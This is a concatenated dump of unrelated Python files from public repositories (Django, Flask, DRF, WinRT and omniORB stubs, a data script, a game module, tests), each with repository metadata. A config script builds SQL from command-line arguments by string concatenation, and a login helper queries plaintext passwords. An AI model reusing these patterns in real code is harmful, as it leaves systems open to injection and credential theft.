_winrt.Single: ... def get_single_array(self) -> typing.List[_winrt.Single]: ... def get_size(self) -> Size: ... def get_size_array(self) -> typing.List[Size]: ... def get_string(self) -> str: ... def get_string_array(self) -> typing.List[str]: ... def get_time_span(self) -> datetime.timedelta: ... def get_time_span_array(self) -> typing.List[datetime.timedelta]: ... def get_uint16(self) -> _winrt.UInt16: ... def get_uint16_array(self) -> typing.List[_winrt.UInt16]: ... def get_uint32(self) -> _winrt.UInt32: ... def get_uint32_array(self) -> typing.List[_winrt.UInt32]: ... def get_uint64(self) -> _winrt.UInt64: ... def get_uint64_array(self) -> typing.List[_winrt.UInt64]: ... def get_uint8(self) -> _winrt.UInt8: ... def get_uint8_array(self) -> typing.List[_winrt.UInt8]: ... class IReference(_winrt.Object, typing.Generic[T]): value: typing.Optional[T] is_numeric_scalar: _winrt.Boolean type: PropertyType if sys.version_info >= (3, 9): def __class_getitem__(cls, key: typing.Any) -> types.GenericAlias: ... def get_boolean(self) -> _winrt.Boolean: ... def get_boolean_array(self) -> typing.List[_winrt.Boolean]: ... def get_char16(self) -> _winrt.Char16: ... def get_char16_array(self) -> typing.List[_winrt.Char16]: ... def get_date_time(self) -> datetime.datetime: ... def get_date_time_array(self) -> typing.List[datetime.datetime]: ... def get_double(self) -> _winrt.Double: ... def get_double_array(self) -> typing.List[_winrt.Double]: ... def get_guid(self) -> _winrt.Guid: ... def get_guid_array(self) -> typing.List[_winrt.Guid]: ... def get_inspectable_array(self) -> typing.List[_winrt.Object]: ... def get_int16(self) -> _winrt.Int16: ... def get_int16_array(self) -> typing.List[_winrt.Int16]: ... def get_int32(self) -> _winrt.Int32: ... def get_int32_array(self) -> typing.List[_winrt.Int32]: ... def get_int64(self) -> _winrt.Int64: ... def get_int64_array(self) -> typing.List[_winrt.Int64]: ... def get_point(self) -> Point: ... def get_point_array(self) -> typing.List[Point]: ... def get_rect(self) -> Rect: ... def get_rect_array(self) -> typing.List[Rect]: ... def get_single(self) -> _winrt.Single: ... def get_single_array(self) -> typing.List[_winrt.Single]: ... def get_size(self) -> Size: ... def get_size_array(self) -> typing.List[Size]: ... def get_string(self) -> str: ... def get_string_array(self) -> typing.List[str]: ... def get_time_span(self) -> datetime.timedelta: ... def get_time_span_array(self) -> typing.List[datetime.timedelta]: ... def get_uint16(self) -> _winrt.UInt16: ... def get_uint16_array(self) -> typing.List[_winrt.UInt16]: ... def get_uint32(self) -> _winrt.UInt32: ... def get_uint32_array(self) -> typing.List[_winrt.UInt32]: ... def get_uint64(self) -> _winrt.UInt64: ... def get_uint64_array(self) -> typing.List[_winrt.UInt64]: ... def get_uint8(self) -> _winrt.UInt8: ... def get_uint8_array(self) -> typing.List[_winrt.UInt8]: ... class IStringable(_winrt.Object): def __str__(self) -> str: ... @staticmethod def _from(obj: _winrt.Object) -> IStringable: ... def to_string(self) -> str: ... class IWwwFormUrlDecoderEntry(_winrt.Object): name: str value: str @staticmethod def _from(obj: _winrt.Object) -> IWwwFormUrlDecoderEntry: ... AsyncActionCompletedHandler = typing.Callable[[typing.Optional[IAsyncAction], AsyncStatus], None] AsyncActionProgressHandler = typing.Callable[[IAsyncActionWithProgress[TProgress], typing.Optional[TProgress]], None] AsyncActionWithProgressCompletedHandler = typing.Callable[[IAsyncActionWithProgress[TProgress], AsyncStatus], None] AsyncOperationCompletedHandler = typing.Callable[[IAsyncOperation[TResult], AsyncStatus], None] AsyncOperationProgressHandler = typing.Callable[[IAsyncOperationWithProgress[TResult, TProgress], typing.Optional[TProgress]], None] AsyncOperationWithProgressCompletedHandler = typing.Callable[[IAsyncOperationWithProgress[TResult, TProgress], AsyncStatus], None] DeferralCompletedHandler = typing.Callable[[], None] EventHandler = typing.Callable[[typing.Optional[_winrt.Object], typing.Optional[T]], None] TypedEventHandler = typing.Callable[[typing.Optional[TSender], typing.Optional[TResult]], None]

[ "david@lechnology.com" ]

david@lechnology.com

21f9208488ecb8a3338940b7032bf4115ecc4f96

773a497d2b697ce9526f85eaa08730b8610ead7c

/store/views.py

ff23bb730e6afe352a66a94dd277d37d0c194bd7

[]

no_license

karimkohel/TheLiquidBay

4493050be4729c9b671f1f102b42a2bb296b1298

2ccf917c55b35486762c57e9fad94eea04560ff5

refs/heads/master

2020-06-19T13:08:28.938367

2020-05-03T14:34:06

196,719,035

0

null

UTF-8

Python

false

261

py

from django.shortcuts import render from .models import Liquid # Create your views here. def store_front(request): context = { 'title':'Store', 'store': True, 'liquids': Liquid.objects.all() } return render(request,'store/front.html',context)

[ "kareemkohel@gmail.com" ]

kareemkohel@gmail.com

ad97f8f44b0d1b59ed70aa09d13cfd66c83619eb

d5f2e696ae689a3d08a7344b805ae9ef7d3c9a24

/app/api/auth.py

be27e2b1c731a1ce22e018065acb765c255b7fda

[]

no_license

prasannaboga/flaskapp05

02bd5eb7feac8a0a05bc7c1d2e0fec5548ad55fb

ea70fc384e45560b3383c1e3d05d5adfda9aa5ac

refs/heads/master

2020-03-23T05:20:13.746196

2018-08-02T05:54:52

141,137,770

0

null

2018-07-24T06:44:31

2018-07-16T12:48:13

Python

UTF-8

Python

false

677

py

from flask import g, jsonify, make_response from flask_httpauth import HTTPBasicAuth from mongoengine import DoesNotExist from app.models.user import User auth = HTTPBasicAuth() @auth.verify_password def verify_password(email_or_token, password): user = User.verify_auth_token(email_or_token) if not user: try: user = User.objects.get(email=email_or_token) if not user.verify_password(password): return False except DoesNotExist: return False g.user = user return True @auth.error_handler def unauthorized(): return make_response(jsonify({'errors': 'Unauthorized access'}), 401)

[ "prasannaboga@gmail.com" ]

prasannaboga@gmail.com

50bb7529f787f66817aa8d61e51cc3bc2dfd0161

920b1fa1d9ccfaf9902df878a42a1482f41fb846

/src/sudoku/game/exceptions/InvalidCmdParameterException.py

53f9e1299eecef67eb162062c10d039462aa77ed

[]

no_license

pysudoku/sudoku

97fe616e18e538093217a42d04ee8650a94c78e5

27cc2f7cb52ea787191095c2e581729c22bba62a

refs/heads/master

2021-01-19T07:56:51.777861

2013-07-26T18:11:28

11,187,872

1

0

null

2013-07-25T16:24:28

2013-07-04T22:43:06

Python

UTF-8

Python

false

246

py

''' Created on Jul 16, 2013 @author: Jimena Terceros ''' class InvalidCmdParametersException(Exception): ''' classdocs ''' def __init__(self, message): ''' Constructor ''' self.message = message

[ "jimena.terceros@jalasoft.com" ]

jimena.terceros@jalasoft.com

dda5f468da7ee6e3b8d491722caa2bc4ee97e3c1

9d1a8a273ae12a581c849536914ca85de299c0d9

/project source/main/models.py

0d1954c5bd7c7b11475ffa7d8f98cdd3d8693865

[]

no_license

kartiktyagi4282/Plant-Disease-Prediction

bc015a833dd47af71b0d47e9b17aa6cb2f06a11b

c30ec971f41ccebbc590c45490e1ce740c143d65

refs/heads/master

2022-12-09T21:28:03.204182

2020-10-03T12:52:21

189,465,061

2

3

null

2022-12-08T05:32:50

2019-05-30T18:42:57

Jupyter Notebook

UTF-8

Python

false

1,470

py

from django.db import models import os import re from datetime import datetime def upload_image_directory_path(instance, filename): filename, file_extension = os.path.splitext(filename) return 'plant/'+re.sub('[-:. ]','',str(datetime.today()))+file_extension class Plant(models.Model): name = models.CharField(max_length=100, unique=True) description = models.TextField(null = True, blank = True) createdAt = models.DateTimeField(auto_now_add=True) def __str__(self): return self.name class UploadFile(models.Model): name = models.CharField(max_length=30, null = True, blank = True) image = models.ImageField(upload_to = upload_image_directory_path) edited = models.ImageField(upload_to = upload_image_directory_path, null = True, blank = True) segmented = models.ImageField(upload_to = upload_image_directory_path, null = True, blank = True) def __str__(self): return self.name class Disease(models.Model): name = models.CharField(max_length=100) plant = models.ForeignKey('Plant', on_delete=models.CASCADE , related_name="diseases") symptoms = models.TextField(null = True, blank = True) cause = models.TextField(null = True, blank = True) comments = models.TextField(null = True, blank = True) management = models.TextField(null = True, blank = True) image = models.CharField(max_length = 100, null = True, blank = True) def __str__(self): return self.name

[ "tyagikartik4282@gmail.com" ]

tyagikartik4282@gmail.com

d4006dfa73357c64b9566faf1dbbe03faf4a46d4

896d2fc1e9880f5d90fc65b28bcf537097a577d2

/database/agents.py

01865c785b8d6c09da207e12da26fdbc294c5bfc

[]

no_license

rogerio-stubs/manager_data

66265c77b48c89e074642258adb755e2fd0a7150

7f46edd696ac270587f00c74a1a5acc4877e3271

refs/heads/master

2023-02-08T11:24:57.211042

2021-01-02T03:27:22

291,856,920

0

null

UTF-8

Python

false

315

py

from pymongo import MongoClient from database.connection import agents def login(user, password): user_id = -1 acesso = "Acesso negado" for user_id in agents.find({"user": user, "password": password}, {"atributo":0}): if user_id != -1: acesso = user_id.get("_id") return acesso

[ "rostubs17@gmail.com" ]

rostubs17@gmail.com

3f5ca45997d31a884f9b70cd4d755a2e1db9a3af

05d12a410a1cd0ee477e5f302adc916973f551e2

/config/set_apn.py

56cd97666508cc70bd5978d44e4d9d8bfde10d9f

[]

no_license

KWH-DAS-TEAM/Datalogger

30b78aaaa487fd34fceeeb032803a51e216c66d4

68f97ec5e561fb1b18bf3e84c4b9267d0efcfbec

refs/heads/master

2022-11-10T04:25:33.117387

2020-07-02T02:08:18

275,955,874

2

0

null

UTF-8

Python

false

1,376

py

#!/usr/bin/env python3 import KWH_MySQL import sys sys.path.append('/kwh/lib') try: APN = sys.argv[1] except: print("Usage: setapn <APN> <optional Username> <optional Password>") exit(1) try: USER = sys.argv[2] except: USER = " " try: PASS = sys.argv[3] except: PASS = " " DB = KWH_MySQL.KWH_MySQL() sql = "INSERT INTO config VALUES (\"APN\",\""+APN+"\",now(),\"\",1);" # Returns 1 on failure result = DB.INSERT(sql)[0] # INSERT will fail for duplicate entry if the config key already exists # due to our primary key (key, active). This lets us force only one key # having active = 1 # If insert fails, the following logic keeps a historical record of the # previous config, and then lets you update with the new value if result == 1: select_sql = "SELECT max(active) FROM config WHERE `key` = 'APN';" new_active = DB.SELECT(select_sql)[0][0] + 1 update_sql = "UPDATE config SET time_changed = now(), active = " update_sql += str(new_active)+" WHERE `key` = 'APN' AND active = 1;" result = DB.INSERT(update_sql) if result == 1: print("unknown error") else: DB.INSERT(sql) sakis = open("/etc/sakis3g.conf", "w+") sakis.write("OTHER=CUSTOM_TTY\nCUSTOM_TTY=\"/dev/ttyAMA0\"\nBAUD=115200\nAPN=\"" + APN+"\"\nAPN_USER=\""+USER+"\"\nAPN_PASS=\""+PASS+"\"") print("config change complete")

[ "noreply@github.com" ]

KWH-DAS-TEAM.noreply@github.com

2bf00bad4f2dd587acbfef22d01b90855f891b2c

efe8b6737cf09b11e48e42478fbbe682a0e3060e

/module/data/src/cms/__init__.py

2725921cb0015ba6727d814070758e53b17129de

[]

no_license

tiit-learn/comment_publishing

1fa27c05cb900b67b5758c8f15e2422ada8de53d

105c672c500464ac0b8186544841271ff654ba35

refs/heads/main

2023-06-02T06:45:14.646958

2021-06-21T13:15:57

378,930,550

0

null

UTF-8

Python

false

30

py

from . import bitrix, wp, dle

[ "dev@project" ]

dev@project

cfd15b4614141f1614ac10e530b5396a04be5278

6898f222a9b3b8a1f1e60d3e465d6130c4112d35

/TestPlotterError.py

eae204d035ab3e9502bbb8b7fd92f1974345f599

[]

no_license

laurajauch/phase3

98ac86701360ef537d0516d1d984e4bbaeb29fd3

2b0f6e35f53c109707a9def425c64789de9d52db

refs/heads/master

2016-09-11T13:12:32.265589

2015-04-25T21:53:52

33,157,610

0

null

UTF-8

Python

false

3,654

py

from PyCamellia import * from Plotter import * import unittest spaceDim = 2 useConformingTraces = True mu = 1.0 dims = [1.0,1.0] numElements = [2,2] x0 = [0.,0.] polyOrder = 3 delta_k = 1 topBoundary = SpatialFilter.matchingY(1.0) notTopBoundary = SpatialFilter.negatedFilter(topBoundary) x = Function.xn(1) rampWidth = 1./64 H_left = Function.heaviside(rampWidth) H_right = Function.heaviside(1.0-rampWidth); ramp = (1-H_right) * H_left + (1./rampWidth) * (1-H_left) * x + (1./rampWidth) * H_right * (1-x) zero = Function.constant(0) topVelocity = Function.vectorize(ramp,zero) refinementNumber = 0 refCellVertexPoints = [[-1.,-1.],[1.,-1.],[1.,1.],[-1.,1.]]; class TestPlotterError(unittest.TestCase): """ Test Plot""" def test_plot_energyError(self): print "Plot_energyError" form = StokesVGPFormulation(spaceDim,useConformingTraces,mu) meshTopo = MeshFactory.rectilinearMeshTopology(dims,numElements,x0) form.initializeSolution(meshTopo,polyOrder,delta_k) form.addZeroMeanPressureCondition() form.addWallCondition(notTopBoundary) form.addInflowCondition(topBoundary,topVelocity) form.solve() plot(form, "Error") form = None """ Test Plot with p auto refine""" def test_plotPAutoRefine_energyError(self): print "pAutoRefine_energyError" form = StokesVGPFormulation(spaceDim,useConformingTraces,mu) meshTopo = MeshFactory.rectilinearMeshTopology(dims,numElements,x0) form.initializeSolution(meshTopo,polyOrder,delta_k) form.addZeroMeanPressureCondition() form.addWallCondition(notTopBoundary) form.addInflowCondition(topBoundary,topVelocity) form.solve() form.pRefine() plot(form, "Error") form = None """ Test Plot with h auto refine""" def test_plothAutoRefine_energyError(self): print "hAutoRefine_energyError" form = StokesVGPFormulation(spaceDim,useConformingTraces,mu) meshTopo = MeshFactory.rectilinearMeshTopology(dims,numElements,x0) form.initializeSolution(meshTopo,polyOrder,delta_k) form.addZeroMeanPressureCondition() form.addWallCondition(notTopBoundary) form.addInflowCondition(topBoundary,topVelocity) form.solve() form.hRefine() plot(form, "Error") form = None """ Test Plot with p manual refine""" def test_plotpManualRefine_energyError(self): print "pManualRefine_energyError" form = StokesVGPFormulation(spaceDim,useConformingTraces,mu) meshTopo = MeshFactory.rectilinearMeshTopology(dims,numElements,x0) form.initializeSolution(meshTopo,polyOrder,delta_k) form.addZeroMeanPressureCondition() form.addWallCondition(notTopBoundary) form.addInflowCondition(topBoundary,topVelocity) form.solve() mesh = form.solution().mesh(); mesh.pRefine([3,1]) plot(form, "Error") form = None """ Test Plot with h manual refine""" def test_plothManualRefine_energyError(self): #return print "hManualRefine_energyError" form = StokesVGPFormulation(spaceDim,useConformingTraces,mu) meshTopo = MeshFactory.rectilinearMeshTopology(dims,numElements,x0) form.initializeSolution(meshTopo,polyOrder,delta_k) form.addZeroMeanPressureCondition() form.addWallCondition(notTopBoundary) form.addInflowCondition(topBoundary,topVelocity) form.solve() mesh = form.solution().mesh(); mesh.hRefine([0,1]) plot(form, "Error") form = None

[ "jeffrey.burge@cslab03.wheaton.edu" ]

jeffrey.burge@cslab03.wheaton.edu

8eae5fb2dcd692f49a429547f82b7f02961ab9bd

d93d6218b94673b4669914c5fe1a7d18cf91a32b

/Bootlegging Emulator/District.py

eb7aeff8bdcac0bc74dfe8d5912524c080af4d38

[]

no_license

aaronpgurrola/The-Crimson-Plateau

537e5d0c0c806f9abf4f1a47169a5b28e9a44af5

b8447ffed81d30f578b017384f3896a2e466e06e

refs/heads/main

2023-07-05T19:45:14.484328

2021-05-23T06:07:25

369,736,719

1

0

null

UTF-8

Python

false

2,744

py

import Front as f import DrugDemand as dd import GlobalUtils as gu import DrugRun as dr import math # Constants for different drug price constants GALLON_PRICE = 5.0 MJ_GRAM_PRICE = 10.0 COKE_GRAM_PRICE = 20.0 DRUG_PRICE_DICT = {gu.Drugs.COKE: COKE_GRAM_PRICE, gu.Drugs.MJ: MJ_GRAM_PRICE, gu.Drugs.SHINE: GALLON_PRICE} # District is currently the top-tier component # TODO: Build Map class to hold multiple districts # TODO: Build methods to interact with other districts class District(): def __init__(self): # Each district will have independent drug demand self.drugDemand = dd.DrugDemand() # TODO: Whem Map class is built, move to Map class self.drugRun = dr.DrugRun() # List of front objects self.fronts = [] # Determines whether or not every front is controlled by user # TODO: Create methods to determine if District is monopolized self.monopolized = False # Builds a front using the Front class # Appends it to a list of fronts in the District def createFront(self, name: str, base: float): front = f.Front(name, base) self.fronts.append(front) # Utility to print fronts and all their individual variables def printFronts(self): frontString = '' for front in self.fronts: frontString+= front.__str__() + '\n' print(frontString) # Sets all fronts as not hit during drug run # TODO: When Map class is built, move to Map class def resetFronts(self): for front in self.fronts: front.resetHit() # Starts drug run # TODO: When Map class is built, move to Map class def startRun(self, type: int, quantity: int): self.resetFronts() self.drugRun.run(type, quantity) # Ends drug run # TODO: When Map class is built, move to Map class def endRun(self): self.resetFronts() self.drugRun.end() # Helper function for hitFront # Helper function to determine output $ of front.basew * demand% def demandFunction(self, type: int): multiplier = (1+(1/math.exp(5))) - math.exp(-5*self.drugDemand.getDrugDemand(type)) return multiplier*DRUG_PRICE_DICT[type] def ownFrontByIndex(self, index: int): self.fronts[index].own() # Hits a front and returns dollar amount # Used for testing # TODO: Check if front is owned def hitFrontByIndex(self, index: int): if self.drugRun.isRunning(): self.fronts[index].hitFront() quantity = self.drugRun.getQuantity() type = self.drugRun.getRunType() base = self.fronts[index].getBase() self.drugRun.addToHaul(quantity*base*self.demandFunction(type))

[ "43392595+aaronpgurrola@users.noreply.github.com" ]

43392595+aaronpgurrola@users.noreply.github.com

9533c38408040b732a09bf57ee7f56e3d9a96ab5

0d2af397b900fddad3d532a9f772f70473886cf5

/modules/migrations/0001_initial.py

e42a5438116521c61bc87b998d83ccc633cf49ae

[]

no_license

RobertUJ/Omaha

cc779b06e42c08ebadae0b8df4e006ad67d504d1

650d5e1e5550bf772f1817e16505c574f361bae0

refs/heads/master

2016-08-12T13:51:32.262876

2016-02-12T00:51:52

49,794,851

0

null

2016-01-22T00:04:29

2016-01-16T23:12:39

Python

UTF-8

Python

false

755

py

# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ] operations = [ migrations.CreateModel( name='Module', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('name', models.CharField(default=b'', max_length=50)), ('description', models.TextField(default=b'', max_length=200, null=True)), ('justification', models.TextField(default=b'', max_length=200, null=True)), ('analysis', models.TextField(default=b'', max_length=200)), ], ), ]

[ "mr24valves@icloud.com" ]

mr24valves@icloud.com

522394227026dd1c5f0d9cd691de802a14a98194

78ee56b9e3a5ddfaeead5e281d015763d5acc79e

/Funciones/testFuncion.py

5098206cdeee89e312fc80804040b9c4883c9c7f

[]

no_license

Mariocgo/CursoPython

6da6e2934d3eeb27e35866c67f67ae7de12e7a0c

4ee5b94aa7c3730f3c2b2101019fba1b9cb89926

refs/heads/main

2023-03-01T22:22:37.820848

2021-02-05T23:32:49

333,627,046

0

null

UTF-8

Python

false

78

py

def saludo(Nombre): return Nombre print(f"Mucho gusto "+saludo("Mario"))

[ "e17081448@itmerida.edu.mx" ]

e17081448@itmerida.edu.mx

795fd8eb429f1f73738027709d5acde3dc4663ea

affba0c51c517ea52a85b81a6fec89c367dbbfa1

/script.py

f664a5810dac95937a828a12b4443d7e1a58f4de

[]

no_license

pyKuga/lab6turma8cgrupo4

f0b175b59c77c67ade398039042fff1b49988a30

481ae6d009d6484f7d3a987654ce0fd74bdabc97

refs/heads/master

2022-11-30T12:21:49.529698

2020-07-28T22:57:28

282,349,184

0

null

UTF-8

Python

false

2,417

py

from math import sqrt as rq #importa a raiz quadrada import pandas as pd #importa a biblioteca pandas para analisar nossos dados up = pd.read_csv("z1.csv") #importa as medições com o celular para cima down = pd.read_csv("z2.csv") #importa as medições com o celular para baixo lat1 = pd.read_csv("x1.csv") lat2 = pd.read_csv("x2.csv") verlat1 = pd.read_csv("y1.csv") verlat2 = pd.read_csv("y2.csv") #bx print("medias componentes bx") print(up["Bx"].mean()) print(down["Bx"].mean()) print(lat1["Bx"].mean()) print(lat2["Bx"].mean()) print(verlat1["Bx"].mean()) print(verlat2["Bx"].mean()) #by print("medias componentes by") print(up["By"].mean()) print(down["By"].mean()) print(lat1["By"].mean()) print(lat2["By"].mean()) print(verlat1["By"].mean()) print(verlat2["By"].mean()) #by print("medias componentes bt") print(up["BT"].mean()) print(down["BT"].mean()) print(lat1["BT"].mean()) print(lat2["BT"].mean()) print(verlat1["BT"].mean()) print(verlat2["BT"].mean()) #de acordo com o paper do relatorio, temos o seguinte: vertbx = (abs(up["Bx"].mean())+abs(down["Bx"].mean()))/2 lateralbx = (abs(lat1["Bx"].mean()) + abs(lat2["Bx"].mean()))/2 verlatbx= (abs(verlat1["Bx"].mean())+abs(verlat2["Bx"].mean()))/2 mediabx = (vertbx+verlatbx+lateralbx)/3 vertby = (abs(up["By"].mean())+abs(down["By"].mean()))/2 lateralby = (abs(lat1["By"].mean())+abs(lat2["By"].mean()))/2 verlatby = (abs(verlat1["By"].mean())+abs(verlat2["By"].mean()))/2 mediaby = (vertby+verlatby+lateralby)/3 vertbt = (abs(up["BT"].mean())+abs(down["BT"].mean()))/2 lateralbt = (abs(lat1["BT"].mean())+abs(lat2["BT"].mean()))/2 verlatbt = (abs(verlat1["BT"].mean())+abs(verlat2["BT"].mean()))/2 mediabt = (vertbt+verlatbt+lateralbt)/3 print("******************************") print(format(vertbx, ".2f")) print(format(vertby, ".2f")) print(format(vertbt, ".2f")) print("******************************") print(format(lateralbx, ".2f")) print(format(lateralby, ".2f")) print(format(lateralbt, ".2f")) print("******************************") print(format(verlatbx, ".2f")) print(format(verlatby, ".2f")) print(format(verlatbt, ".2f")) print("******************************") #e se queremos a componente horizontal media: horzmd = rq((mediabx**2) + (mediaby**2)) print("a componente horizontal do campo é:", format(horzmd, ".2f")) print("a componente total do campo é", format(mediabt, ".2f"))

[ "noreply@github.com" ]

pyKuga.noreply@github.com

75313085a3420a9b3fa00338b64ddbc0affc1fa8

b1b4dc2c530b56a9abbc6b144c3ca3f5a6d11e70

/django_/example/chat/apps/chat/serializer.py

d288a1d858368b951b9ad30c2792a52237f8b9ea

[]

no_license

BorisovDima/_ex

d38cff25575bfc6d1906940d40091fb6946cd829

6c14d661b8e051f8ec385cb09997da1fa781431a

refs/heads/master

2020-05-07T18:13:38.304305

2019-08-23T10:59:09

180,757,813

0

null

UTF-8

Python

false

2,842

py

from rest_framework.serializers import ModelSerializer, HyperlinkedModelSerializer, HyperlinkedRelatedField, \ HyperlinkedIdentityField, CharField, IntegerField, DateTimeField, ImageField, SerializerMethodField, BooleanField from .models import Room, Message from chat.apps.myauth.serializer import UserSerializer from .signals import create from django.conf import settings from rest_framework.reverse import reverse from django.conf import settings callback = settings.REST_CALLBACK class MessageSerializer(HyperlinkedModelSerializer): author = UserSerializer(read_only=True) room = HyperlinkedRelatedField(view_name='room-detail', read_only=True) view_it = SerializerMethodField() def get_view_it(self, obj): return reverse('message-viewed', kwargs={'pk': obj.id}) def create(self, validated_data): self.instance = super().create(validated_data) create.send(sender=type(self), instance=self.instance, json=self.data, callback=callback['msg_create']) return self.instance class Meta: model = Message fields = ('text', 'room', 'author', 'id', 'date_created', 'url', 'view_it') class RoomSerializer(HyperlinkedModelSerializer): # image = ImageField(source='get_image') name = CharField(read_only=True) last_msg = CharField(read_only=True) count_msgs = IntegerField(source='get_count_msgs', read_only=True) count_users = IntegerField(source='get_count_users', read_only=True) unviewed_messages = SerializerMethodField() messages = SerializerMethodField() users = HyperlinkedRelatedField(many=True, view_name='user-detail', read_only=True) author = UserSerializer(read_only=True) def create(self, validated_data): author, user = validated_data['author'], validated_data['user'] # self.instance = Room.objects.get_or_create_dialog(author, user) # create.send(sender=type(self), instance=self.instance, json=self.data, callback=callback['room_create']) return Room.objects.get_or_create_dialog(author, user) def to_representation(self, instance): ret = super().to_representation(instance) request = self.context['request'] ret['name'] = instance.get_room_name(request) ret['last_msg'] = MessageSerializer(instance=instance.get_last_msg(), context={'request': request}).data return ret def get_unviewed_messages(self, obj): return obj.get_unviewed_messages(self.context['request']).count() def get_messages(self, obj): return reverse('room-messages', kwargs={'pk': obj.id}, request=self.context['request']) class Meta: model = Room fields = ('author', 'unviewed_messages', 'id', 'url', 'count_msgs', 'count_users', 'name', 'last_msg', 'messages', 'users')

[ "you@example.com" ]

you@example.com

7836b6868fd207fe33f88cb1bc6942fd74050a95

cb6166192835e0580895f743975d2ae866effa00

/DjangoTest/djangosite/app/forms.py

29d0064b590dbd51a2c0106ada3ab301b04edee1

[]

no_license

luanshiyinyang/PythonWeb

d25ccf35a3eec6990295b276d721126bcdffc648

ba10163e8d71d23d123dee4946fb672fc6367337

refs/heads/master

2020-04-23T09:39:15.631088

2019-03-09T13:01:59

171,075,985

1

0

null

UTF-8

Python

false

161

py

from django.forms import ModelForm from app.models import Moment class MomentForm(ModelForm): class Meta: model = Moment fields = '__all__'

[ "1695735420@qq.com" ]

1695735420@qq.com

9867df62624bdb431c215e3b4ccdebb73711b7b9

3e2946515a739cdb5ce452d0ce10b27b23b4b9d3

/7kyu. binary to decimal.py

feb7f65cc5540afd427391a261473699edd07b91

[]

no_license

fairlyoddparents/Python-Tutorials-My-Answers-and-First-Game

628b747d67544eb1679ca4fb44b00d2d949d70c6

16820b6efb4a01ef00f73186d9ba30e8d292703b

refs/heads/master

2022-12-14T13:54:16.948153

2020-09-19T06:51:01

null

0

null

UTF-8

Python

false

293

py

# -*- coding: utf-8 -*- """ Created on Sun Jul 15 12:56:07 2018 @author: fairl """ def binary_array_to_number(arr): decimal = 0 for num in arr: decimal = decimal*2 + int(num) print(decimal) print(decimal) binary_array_to_number([1,1,1,1,0,1,1])

[ "noreply@github.com" ]

fairlyoddparents.noreply@github.com

c57ac2112c972756e2ff64e05963c875a6747133

5d95fb815afb12aaf096f9752d76f68b2555f235

/idls/ex1_idl.py

10372485767ce384cb643b9450f6a0ebe9418573

[]

no_license

ramonjsa/sd-lista1

873b2e2171ead356c44e62d62d515eb2e4d0c834

d3b3b3d533274bf1e33db6bc8a7a8f6c2280f538

refs/heads/master

2020-08-03T00:34:36.444980

2019-09-30T02:36:32

211,565,759

0

null

UTF-8

Python

false

10,023

py

# Python stubs generated by omniidl from ex1.idl # DO NOT EDIT THIS FILE! import omniORB, _omnipy from omniORB import CORBA, PortableServer _0_CORBA = CORBA _omnipy.checkVersion(4,2, __file__, 1) try: property except NameError: def property(*args): return None # # Start of module "Lista01" # __name__ = "Lista01" _0_Lista01 = omniORB.openModule("Lista01", r"ex1.idl") _0_Lista01__POA = omniORB.openModule("Lista01__POA", r"ex1.idl") # interface Funcionario _0_Lista01._d_Funcionario = (omniORB.tcInternal.tv_objref, "IDL:Lista01/Funcionario:1.0", "Funcionario") omniORB.typeMapping["IDL:Lista01/Funcionario:1.0"] = _0_Lista01._d_Funcionario _0_Lista01.Funcionario = omniORB.newEmptyClass() class Funcionario : _NP_RepositoryId = _0_Lista01._d_Funcionario[1] def __init__(self, *args, **kw): raise RuntimeError("Cannot construct objects of this type.") _nil = CORBA.Object._nil _0_Lista01.Funcionario = Funcionario _0_Lista01._tc_Funcionario = omniORB.tcInternal.createTypeCode(_0_Lista01._d_Funcionario) omniORB.registerType(Funcionario._NP_RepositoryId, _0_Lista01._d_Funcionario, _0_Lista01._tc_Funcionario) # Funcionario operations and attributes Funcionario._d_reajuste = (((omniORB.tcInternal.tv_string,0), (omniORB.tcInternal.tv_string,0), omniORB.tcInternal.tv_float), (omniORB.tcInternal.tv_float, ), None) Funcionario._d_salario_liquido = (((omniORB.tcInternal.tv_string,0), omniORB.tcInternal.tv_char, omniORB.tcInternal.tv_float, omniORB.tcInternal.tv_long), (omniORB.tcInternal.tv_float, ), None) Funcionario._d_pode_aposentar = ((omniORB.tcInternal.tv_long, omniORB.tcInternal.tv_long), (omniORB.tcInternal.tv_boolean, ), None) # Funcionario object reference class _objref_Funcionario (CORBA.Object): _NP_RepositoryId = Funcionario._NP_RepositoryId def __init__(self, obj): CORBA.Object.__init__(self, obj) def reajuste(self, *args): return self._obj.invoke("reajuste", _0_Lista01.Funcionario._d_reajuste, args) def salario_liquido(self, *args): return self._obj.invoke("salario_liquido", _0_Lista01.Funcionario._d_salario_liquido, args) def pode_aposentar(self, *args): return self._obj.invoke("pode_aposentar", _0_Lista01.Funcionario._d_pode_aposentar, args) omniORB.registerObjref(Funcionario._NP_RepositoryId, _objref_Funcionario) _0_Lista01._objref_Funcionario = _objref_Funcionario del Funcionario, _objref_Funcionario # Funcionario skeleton __name__ = "Lista01__POA" class Funcionario (PortableServer.Servant): _NP_RepositoryId = _0_Lista01.Funcionario._NP_RepositoryId _omni_op_d = {"reajuste": _0_Lista01.Funcionario._d_reajuste, "salario_liquido": _0_Lista01.Funcionario._d_salario_liquido, "pode_aposentar": _0_Lista01.Funcionario._d_pode_aposentar} Funcionario._omni_skeleton = Funcionario _0_Lista01__POA.Funcionario = Funcionario omniORB.registerSkeleton(Funcionario._NP_RepositoryId, Funcionario) del Funcionario __name__ = "Lista01" # interface Pessoa _0_Lista01._d_Pessoa = (omniORB.tcInternal.tv_objref, "IDL:Lista01/Pessoa:1.0", "Pessoa") omniORB.typeMapping["IDL:Lista01/Pessoa:1.0"] = _0_Lista01._d_Pessoa _0_Lista01.Pessoa = omniORB.newEmptyClass() class Pessoa : _NP_RepositoryId = _0_Lista01._d_Pessoa[1] def __init__(self, *args, **kw): raise RuntimeError("Cannot construct objects of this type.") _nil = CORBA.Object._nil _0_Lista01.Pessoa = Pessoa _0_Lista01._tc_Pessoa = omniORB.tcInternal.createTypeCode(_0_Lista01._d_Pessoa) omniORB.registerType(Pessoa._NP_RepositoryId, _0_Lista01._d_Pessoa, _0_Lista01._tc_Pessoa) # Pessoa operations and attributes Pessoa._d_atingiu_maior_idade = (((omniORB.tcInternal.tv_string,0), omniORB.tcInternal.tv_long), (omniORB.tcInternal.tv_boolean, ), None) Pessoa._d_pesso_ideal = (((omniORB.tcInternal.tv_string,0), omniORB.tcInternal.tv_float), (omniORB.tcInternal.tv_float, ), None) # Pessoa object reference class _objref_Pessoa (CORBA.Object): _NP_RepositoryId = Pessoa._NP_RepositoryId def __init__(self, obj): CORBA.Object.__init__(self, obj) def atingiu_maior_idade(self, *args): return 